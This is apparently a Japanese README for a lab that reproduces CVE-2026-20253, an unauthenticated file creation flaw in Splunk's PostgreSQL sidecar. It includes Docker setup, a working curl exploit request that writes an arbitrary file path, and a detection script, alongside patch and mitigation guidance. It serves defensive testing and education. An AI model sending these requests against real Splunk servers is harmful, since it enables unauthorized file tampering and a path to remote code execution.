
CVE-2026-20253 のPOC
PostgreSQL サイドカーを介した認証なしの任意ファイル作成および切り詰め
CVSS 9.8 · Critical · CWE-306 · 積極的に悪用中(CISA KEV)
このリポジトリは教育および許可されたセキュリティ研究の目的に限定して提供されています。
すべてのテストは、自分が所有する、またはテストするための明示的な書面による許可を得たインフラストラクチャに対してのみ実施してください。
ここで紹介する技術やツールの誤用について、著者は一切の責任を負いません。
所有していない本番システムや環境に対して絶対に実行しないでください。
CVE-2026-20253 は、10.2.4 および 10.0.7 より前の Splunk Enterprise バージョンに影響します。
Splunk にバンドルされている PostgreSQL サイドカーサービスは、2つの内部 HTTP エンドポイントを公開しています:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
両方のエンドポイントは認証チェックが一切ありません(CWE-306)。つまり、ネットワークから到達可能な攻撃者は誰でも、資格情報なしでこれらを呼び出すことができます。攻撃者が制御する backupFile パラメータを指定することで、認証されていないユーザーが Splunk ホストのファイルシステム上に任意のファイルを作成または切り詰めることができます。これは、研究者が完全な事前認証リモートコード実行(RCE)へと連鎖させたプリミティブです。
| プロパティ | 詳細 |
|---|---|
| CVE | CVE-2026-20253 |
| CVSS スコア | 9.8(Critical) |
| CWE | CWE-306 — 重要な機能に対する認証の欠如 |
| 影響を受けるバージョン | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| 修正バージョン | 10.0.7, 10.2.4 |
| CISA KEV | 2026年6月18日追加 |
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curl が利用可能な任意の Linux ホストdocker compose -f docker-compose.yml up -d --build
Splunk が完全に初期化されるまで約90秒待ちます。次のコマンドで進行状況を確認できます:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Splunk Web UI → http://localhost:8000
資格情報: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Splunk Web UI → http://localhost:8001
資格情報: admin / changeme
両方のコンテナは並行して実行できます — 競合を避けるためポートはずらしてあります。
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
期待値: 400 — エンドポイントが存在し、認証は強制されておらず、リクエストが処理されました。
コンテナ内でファイルが作成されたことを確認します:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
期待値: 401 — 認証が強制され、リクエストが拒否されました。
| HTTP ステータス | 意味 |
|---|---|
watchTowr Labs チームは、上記のチェックを自動化する検出スクリプトを公開しています:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
直ちに修正済みバージョンへ更新してください:
| ブランチ | 修正バージョン |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
すぐにパッチを適用できない場合は、server.conf に以下を追加して PostgreSQL サイドカーを無効にし、Splunk を再起動してください:
[postgres]
disabled = true
⚠️ Edge Processor または SPL2 データパイプラインを実行している場合は、サイドカーを無効にしないでください — これらの機能には必須です。
このラボ環境は防御的セキュリティ研究および教育のみを目的として提供されています。
コンピュータシステムへの不正アクセスは、米国の Computer Fraud and Abuse Act(CFAA)、英国の Computer Misuse Act、および世界各国の同等の法律に基づき違法です。
責任を持って使用してください。
400| 脆弱 — エンドポイント到達、認証チェックなし |
401 | パッチ適用済み — 認証が強制されている |
404 | サイドカーが存在しない / パスが誤り |
000 | コンテナがまだ準備できていない |